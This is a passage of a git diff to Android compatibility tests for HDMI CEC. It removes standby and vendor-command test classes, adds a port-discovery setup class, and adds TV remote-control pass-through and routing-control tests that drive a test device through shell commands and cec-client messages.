-        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_CONTROL_MUTE);
-        hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM, CecOperand.USER_CONTROL_RELEASED);
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
index 7a78528..893a58e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
@@ -33,6 +33,8 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.TimeUnit;
+
 /** HDMI CEC system information tests (Section 11.2.6) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -97,6 +99,7 @@
         try {
             hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
                     CecOperand.SET_MENU_LANGUAGE, CecMessage.convertStringToHexParams(language));
+            TimeUnit.SECONDS.sleep(5);
             assertThat(extractLanguage(getSystemLocale())).isEqualTo(newLanguage);
         } finally {
             setSystemLocale(locale);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
deleted file mode 100644
index d78d318..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import java.util.concurrent.TimeUnit;
-
-/** HDMI CEC test to verify the device handles standby correctly (Section 11.2.3) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
-
-    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
-            "hdmi_control_auto_device_off_enabled";
-
-    public HdmiCecSystemStandbyTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
-        ITestDevice device = getDevice();
-        String val = device.executeShellCommand("settings get global " +
-                HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
-        String valToSet = turnOn ? "1" : "0";
-        device.executeShellCommand("settings put global "
-                + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
-        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
-        return val.equals("1");
-    }
-
-    private void checkDeviceAsleepAfterStandbySent(LogicalAddress source, LogicalAddress destination)
-            throws Exception {
-        ITestDevice device = getDevice();
-        try {
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
-            TimeUnit.SECONDS.sleep(5);
-            hdmiCecClient.sendCecMessage(source, destination, CecOperand.STANDBY);
-            TimeUnit.SECONDS.sleep(5);
-            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
-        } finally {
-            /* Wake up the device */
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        }
-    }
-
-    /**
-     * Test 11.2.3-2
-     * Tests that the device goes into standby when a <STANDBY> message is broadcast.
-     */
-    @Test
-    public void cect_11_2_3_2_HandleBroadcastStandby() throws Exception {
-        getDevice().executeShellCommand("reboot");
-        getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        try {
-            TimeUnit.SECONDS.sleep(5);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.TV, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.RECORDER_1, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.BROADCAST);
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-            checkDeviceAsleepAfterStandbySent(LogicalAddress.PLAYBACK_2, LogicalAddress.BROADCAST);
-        } finally {
-            /* Wake up the TV */
-            hdmiCecClient.sendConsoleMessage("on " + LogicalAddress.TV);
-        }
-    }
-
-    /**
-     * Test 11.2.3-3
-     * Tests that the device goes into standby when a <STANDBY> message is sent to it.
-     */
-    @Test
-    public void cect_11_2_3_3_HandleAddressedStandby() throws Exception {
-        getDevice().executeShellCommand("reboot");
-        getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.TV, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.RECORDER_1, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.PLAYBACK_2, LogicalAddress.PLAYBACK_1);
-        checkDeviceAsleepAfterStandbySent(LogicalAddress.BROADCAST, LogicalAddress.PLAYBACK_1);
-    }
-
-    /**
-     * Test 11.2.3-4
-     * Tests that the device does not broadcast a <STANDBY> when going into standby mode.
-     */
-    @Test
-    public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
-        ITestDevice device = getDevice();
-        boolean wasOn = setHdmiControlDeviceAutoOff(false);
-        try {
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST, CecOperand.STANDBY);
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        } finally {
-            setHdmiControlDeviceAutoOff(wasOn);
-        }
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java
deleted file mode 100644
index 4a850e9..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify device vendor specific commands (Section 11.2.9) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
-
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-    private static final int INCORRECT_VENDOR_ID = 0x0;
-
-    public HdmiCecVendorCommandsTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    /**
-     * Test 11.2.9-1
-     * Tests that the device responds to a <GIVE_DEVICE_VENDOR_ID> from various source devices
-     * with a <DEVICE_VENDOR_ID>.
-     */
-    @Test
-    public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
-        for (LogicalAddress logicalAddress : LogicalAddress.values()) {
-            // Skip the logical address of this device
-            if (logicalAddress == PLAYBACK_DEVICE) {
-                continue;
-            }
-            hdmiCecClient.sendCecMessage(logicalAddress, CecOperand.GIVE_DEVICE_VENDOR_ID);
-            String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
-            assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
-        }
-    }
-
-    /**
-     * Test 11.2.9-2
-     * Tests that the device broadcasts a <DEVICE_VENDOR_ID> message after successful
-     * initialisation and address allocation.
-     */
-    @Test
-    public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
-        ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
-        assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
new file mode 100644
index 0000000..44693dd
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.targetprep;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.HdmiCecClientWrapper;
+import android.hdmicec.cts.HdmiCecConstants;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.BaseTargetPreparer;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.util.RunUtil;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileWriter;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
+import java.util.List;
+
+/* Sets up the CEC tests by discovering which port the CEC adapter connected to */
+public class CecPortDiscoverer extends BaseTargetPreparer {
+
+    private static final int TIMEOUT_MILLIS = 10000;
+    private static final int MAX_RETRY_COUNT = 3;
+
+    private File mCecMapDir = HdmiCecConstants.CEC_MAP_FOLDER;
+    private File mDeviceEntry = null;
+    private File mPortEntry = null;
+
+    /** {@inheritDoc} */
+    @Override
+    public void setUp(TestInformation testInfo)
+            throws TargetSetupError, DeviceNotAvailableException {
+        ITestDevice device = testInfo.getDevice();
+        if (!device.hasFeature("feature:android.hardware.hdmi.cec")
+                || !device.hasFeature("feature:android.software.leanback")) {
+            // We are testing non-HDMI devices, so don't check for adapter availability
+            return;
+        }
+        synchronized (CecPortDiscoverer.class) {
+            if (!mCecMapDir.exists()) {
+                mCecMapDir.mkdirs();
+            }
+            initValidClient(device);
+        }
+    }
+
+    /** {@inheritDoc} */
+    @Override
+    public void tearDown(TestInformation testInfo, Throwable e) {
+        if (mDeviceEntry != null) {
+            mDeviceEntry.delete();
+        }
+        if (mPortEntry != null) {
+            mPortEntry.delete();
+        }
+    }
+
+    private void initValidClient(ITestDevice device)
+            throws TargetSetupError, DeviceNotAvailableException {
+
+        List<String> launchCommand = new ArrayList();
+        Process mCecClient;
+        /* This is a semi-functional object only, the methods that we can use are limited. */
+        HdmiCecClientWrapper cecClientWrapper = new HdmiCecClientWrapper();
+
+        launchCommand.add("cec-client");
+
+        try {
+            List<String> comPorts = cecClientWrapper.getValidCecClientPorts();
+
+            if (comPorts.size() == 0) {
+                throw new TargetSetupError("No adapters connected to host.");
+            }
+
+            int targetDevice = BaseHdmiCecCtsTest.getDumpsysLogicalAddress(device);
+            int toDevice;
+            launchCommand.add("-t");
+            if (targetDevice == 0) {
+                toDevice = 4;
+                launchCommand.add("p");
+            } else {
+                toDevice = 0;
+                launchCommand.add("x");
+            }
+
+            String serialNo = device.getProperty("ro.serialno");
+            String serialNoParam = CecMessage.convertStringToHexParams(serialNo);
+            /*
+             * formatParams prefixes with a ':' that we do not want in the vendorcommand
+             * command line utility.
+             */
+            serialNoParam = serialNoParam.substring(1);
+            StringBuilder sendVendorCommand = new StringBuilder("cmd hdmi_control vendorcommand ");
+            sendVendorCommand.append(" -t " + targetDevice);
+            sendVendorCommand.append(" -d " + toDevice);
+            sendVendorCommand.append(" -a " + serialNoParam);
+
+            for (String port : comPorts) {
+                launchCommand.add(port);
+                boolean portBeingRetried = true;
+                int retryCount = 0;
+                do {
+                    File adapterMapping = new File(mCecMapDir, getPortFilename(port));
+                    /*
+                     * Check for the mapping before each iteration. It is possible that another DUT
+                     * got mapped to this port while this DUT is still trying to discover if this is
+                     * the right port.
+                     */
+                    if (adapterMapping.exists()) {
+                        /* Exit the current port's retry loop */
+                        break;
+                    }
+                    mCecClient = RunUtil.getDefault().runCmdInBackground(launchCommand);
+                    try (BufferedReader inputConsole =
+                            new BufferedReader(
+                                    new InputStreamReader(mCecClient.getInputStream()))) {
+
+                        /* Wait for the client to become ready */
+                        if (cecClientWrapper.checkConsoleOutput(
+                                "waiting for input", TIMEOUT_MILLIS, inputConsole)) {
+
+                            device.executeShellCommand(sendVendorCommand.toString());
+                            if (cecClientWrapper.checkConsoleOutput(
+                                    serialNoParam, TIMEOUT_MILLIS, inputConsole)) {
+                                writeMapping(port, serialNo);
+                                return;
+                            }
+                        } else {
+                            CLog.e("Console did not get ready!");
+                        }
+                    } catch (HdmiCecClientWrapper.CecPortBusyException cpbe) {
+                        retryCount++;
+                        if (retryCount >= MAX_RETRY_COUNT) {
+                            /* We have retried enough number of times. Check another port */
+                            portBeingRetried = false;
+                        } else {
+                            /* Give a break before checking the port again. */
+                            TimeUnit.MILLISECONDS.sleep(TIMEOUT_MILLIS);
+                        }
+                    } finally {
+                        /* Kill the unwanted cec-client process. */
+                        Process killProcess = mCecClient.destroyForcibly();
+                        killProcess.waitFor();
+                        launchCommand.remove(port);
+                    }
+                } while (portBeingRetried);
+            }
+        } catch (IOException | InterruptedException e) {
+            throw new TargetSetupError(
+                    "Caught "
+                            + e.getClass().getSimpleName()
+                            + ". "
+                            + "Could not get adapter mapping.", e);
+        } catch (Exception generic) {
+            throw new TargetSetupError(
+                    "Caught an exception with message '"
+                            + generic.getMessage()
+                            + "'. "
+                            + "Could not get adapter mapping.", generic);
+        }
+        throw new TargetSetupError("Device not connected to any adapter!");
+    }
+
+    private String getPortFilename(String port) {
+        /* Returns only the name of the port, ignoring the path */
+        return new File(port).getName();
+    }
+
+    private void writeMapping(String port, String serialNo) throws TargetSetupError {
+        mDeviceEntry = new File(mCecMapDir, serialNo);
+        mPortEntry = new File(mCecMapDir, getPortFilename(port));
+        try (BufferedWriter device = new BufferedWriter(new FileWriter(mDeviceEntry));
+                BufferedWriter adapter = new BufferedWriter(new FileWriter(mPortEntry))) {
+            mDeviceEntry.createNewFile();
+            device.write(port);
+            device.flush();
+            adapter.write(serialNo);
+            adapter.flush();
+        } catch (IOException ioe) {
+            throw new TargetSetupError(
+                    "Could not create mapping file " + mCecMapDir + "/" + mDeviceEntry.getName());
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
new file mode 100644
index 0000000..ad4dc5f
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.tv;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.HashMap;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/** HDMI CEC test to check Remote Control Pass Through behaviour (Sections 11.1.13) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTest {
+
+    private HashMap<String, Integer> remoteControlKeys = new HashMap<String, Integer>();
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, LogicalAddress.TV))
+                    .around(hdmiCecClient);
+
+    public HdmiCecRemoteControlPassThroughTest() {
+        super(LogicalAddress.TV, "-t", "r", "-t", "p", "-t", "t", "-t", "a");
+        mapRemoteControlKeys();
+    }
+
+    @Before
+    public void checkForInitialActiveSourceMessage() throws Exception {
+        try {
+            /*
+             * Check for the broadcasted <ACTIVE_SOURCE> message from Recorder_1, which was sent as
+             * a response to <SET_STREAM_PATH> message from the TV.
+             */
+            String message =
+                    hdmiCecClient.checkExpectedMessageFromClient(
+                            LogicalAddress.RECORDER_1, CecOperand.ACTIVE_SOURCE);
+        } catch (Exception e) {
+            /*
+             * In case the TV does not send <Set Stream Path> to CEC adapter, or the client does
+             * not make recorder active source, broadcast an <Active Source> message from the
+             * adapter.
+             */
+            hdmiCecClient.broadcastActiveSource(
+                    LogicalAddress.RECORDER_1, hdmiCecClient.getPhysicalAddress());
+        }
+    }
+
+    /**
+     * Test 11.1.13-1
+     *
+     * <p>Tests that the DUT sends the appropriate messages for remote control pass through to a
+     * Recording Device.
+     */
+    @Test
+    public void cect_11_1_13_1_RemoteControlMessagesToRecorder() throws Exception {
+        hdmiCecClient.broadcastActiveSource(
+                LogicalAddress.RECORDER_1, hdmiCecClient.getPhysicalAddress());
+        validateKeyeventToUserControlPress(LogicalAddress.RECORDER_1);
+    }
+
+    /**
+     * Test 11.1.13-2
+     *
+     * <p>Tests that the DUT sends the appropriate messages for remote control pass through to a
+     * Playback Device.
+     */
+    @Test
+    public void cect_11_1_13_2_RemoteControlMessagesToPlayback() throws Exception {
+        hdmiCecClient.broadcastActiveSource(
+                LogicalAddress.PLAYBACK_1, hdmiCecClient.getPhysicalAddress());
+        validateKeyeventToUserControlPress(LogicalAddress.PLAYBACK_1);
+    }
+
+    /**
+     * Test 11.1.13-3
+     *
+     * <p>Tests that the DUT sends the appropriate messages for remote control pass through to a
+     * Tuner Device.
+     */
+    @Test
+    public void cect_11_1_13_3_RemoteControlMessagesToTuner() throws Exception {
+        hdmiCecClient.broadcastActiveSource(
+                LogicalAddress.TUNER_1, hdmiCecClient.getPhysicalAddress());
+        validateKeyeventToUserControlPress(LogicalAddress.TUNER_1);
+    }
+
+    /**
+     * Test 11.1.13-4
+     *
+     * <p>Tests that the DUT sends the appropriate messages for remote control pass through to an
+     * Audio System.
+     */
+    @Test
+    public void cect_11_1_13_4_RemoteControlMessagesToAudioSystem() throws Exception {
+        hdmiCecClient.broadcastActiveSource(
+                LogicalAddress.AUDIO_SYSTEM, hdmiCecClient.getPhysicalAddress());
+        validateKeyeventToUserControlPress(LogicalAddress.AUDIO_SYSTEM);
+    }
+
+    /**
+     * Test 11.1.13-5
+     *
+     * <p>Tests that the DUT behaves sensibly when the remote control pass through feature is
+     * invoked in a system with multiple devices of the same type.
+     */
+    @Test
+    public void cect_11_1_13_5_RemoteControlPassthroughWithMultipleDevices() throws Exception {
+        hdmiCecClient.broadcastReportPhysicalAddress(LogicalAddress.RECORDER_1);
+        hdmiCecClient.broadcastReportPhysicalAddress(LogicalAddress.RECORDER_2, 0x2100);
+        validateMultipleKeyeventToUserControlPress(
+                LogicalAddress.RECORDER_1, LogicalAddress.RECORDER_2);
+    }
+
+    private void mapRemoteControlKeys() {
+        remoteControlKeys.put("DPAD_UP", HdmiCecConstants.CEC_CONTROL_UP);
+        remoteControlKeys.put("DPAD_DOWN", HdmiCecConstants.CEC_CONTROL_DOWN);
+        remoteControlKeys.put("DPAD_LEFT", HdmiCecConstants.CEC_CONTROL_LEFT);
+        remoteControlKeys.put("DPAD_RIGHT", HdmiCecConstants.CEC_CONTROL_RIGHT);
+    }
+
+    private void validateKeyeventToUserControlPress(LogicalAddress toDevice) throws Exception {
+        ITestDevice device = getDevice();
+        for (String remoteKey : remoteControlKeys.keySet()) {
+            device.executeShellCommand("input keyevent KEYCODE_" + remoteKey);
+            String message =
+                    hdmiCecClient.checkExpectedOutput(toDevice, CecOperand.USER_CONTROL_PRESSED);
+            assertThat(CecMessage.getParams(message)).isEqualTo(remoteControlKeys.get(remoteKey));
+            hdmiCecClient.checkExpectedOutput(toDevice, CecOperand.USER_CONTROL_RELEASED);
+        }
+    }
+
+    private void validateMultipleKeyeventToUserControlPress(
+            LogicalAddress device1, LogicalAddress device2) throws Exception {
+        ITestDevice device = getDevice();
+        for (String remoteKey : remoteControlKeys.keySet()) {
+            List<LogicalAddress> destinationAddresses = new ArrayList<>();
+            device.executeShellCommand("input keyevent KEYCODE_" + remoteKey);
+            destinationAddresses =
+                    hdmiCecClient.getAllDestLogicalAddresses(
+                            CecOperand.USER_CONTROL_PRESSED,
+                            CecMessage.formatParams(remoteControlKeys.get(remoteKey)),
+                            4);
+            assertWithMessage("UCP message forwarded to more than one device.")
+                    .that(destinationAddresses.containsAll(Arrays.asList(device1, device2)))
+                    .isFalse();
+            assertWithMessage("UCP message was not forwarded to any of the device.")
+                    .that(destinationAddresses)
+                    .containsAnyIn(Arrays.asList(device1, device2));
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
new file mode 100644
index 0000000..a3c803d
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.tv;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiControlManagerUtility;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC Routing control tests (Section 11.1.2) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecRoutingControlTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, LogicalAddress.TV))
+                    .around(hdmiCecClient);
+
+    public HdmiCecRoutingControlTest() {
+        super(LogicalAddress.TV, "-t", "r", "-t", "t", "-t", "p");
+    }
+
+    @Before
+    public void checkForInitialActiveSourceMessage() throws Exception {
+        try {
+            /*
+             * Check for the broadcasted <ACTIVE_SOURCE> message from Recorder_1, which was sent as
+             * a response to <SET_STREAM_PATH> message from the TV.
+             */
+            String message =
+                    hdmiCecClient.checkExpectedMessageFromClient(
+                            LogicalAddress.RECORDER_1, CecOperand.ACTIVE_SOURCE);
+        } catch (Exception e) {
+            /*
+             * In case the TV does not send <Set Stream Path> to CEC adapter, or the client does
+             * not make recorder active source, broadcast an <Active Source> message from the
+             * adapter.
+             */
+            hdmiCecClient.broadcastActiveSource(
+                    hdmiCecClient.getSelfDevice(), hdmiCecClient.getPhysicalAddress());
+        }
+    }
+
+    /**
+     * Test 11.1.2-1
+     *
+     * <p>Tests that the device sends a {@code <Set Stream Path>} message if the user selects
+     * another source device.
+     */
+    @Test
+    public void cect_11_1_2_1_DutSendsSetStreamPathMessage() throws Exception {
+        // Broadcast a <Report Physical Address> [2.1.0.0] message from Logical Address 3.
+        hdmiCecClient.broadcastReportPhysicalAddress(LogicalAddress.TUNER_1, 0x2100);
+        // Broadcast a <Report Physical Address> [2.2.0.0] message from Logical Address 4.
+        hdmiCecClient.broadcastReportPhysicalAddress(LogicalAddress.PLAYBACK_1, 0x2200);
+        TimeUnit.SECONDS.sleep(2);
+        // Make the device with LA 4 as the active source.
+        HdmiControlManagerUtility.setActiveSource(
+                getDevice(), LogicalAddress.PLAYBACK_1.getLogicalAddressAsInt());
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.SET_STREAM_PATH);
+        assertWithMessage("Device has not sent a Set Stream Path message to the selected device")
+                .that(CecMessage.getParams(message))
+                .isEqualTo(0x2200);
+    }
+
+    /**
+     * Test 11.1.2-2
+     *
+     * <p>Tests that the device doesn't respond to a {@code <Request Active Source>} message when it
+     * is not the current active source.
+     */
+    @Test
+    public void cect_11_1_2_2_DutDoesNotRespondToRequestActiveSourceMessage() throws Exception {
+        // Ensure that DUT is the active source.
+        HdmiControlManagerUtility.setActiveSource(
+                getDevice(), LogicalAddress.TV.getLogicalAddressAsInt());
+        hdmiCecClient.checkExpectedOutput(CecOperand.ACTIVE_SOURCE);
+        // Broadcast an active source from the client device.
+        hdmiCecClient.broadcastActiveSource(hdmiCecClient.getSelfDevice());
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.REQUEST_ACTIVE_SOURCE);
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
+    }
+
+    /**
+     * Test 11.1.2-3
+     *
+     * <p>Tests that the device responds correctly to a {@code <Request Active Source>} message when
+     * it is the current active source.
+     */
+    @Test
+    public void cect_11_1_2_3_DutDoesRespondToRequestActiveSourceMessage() throws Exception {
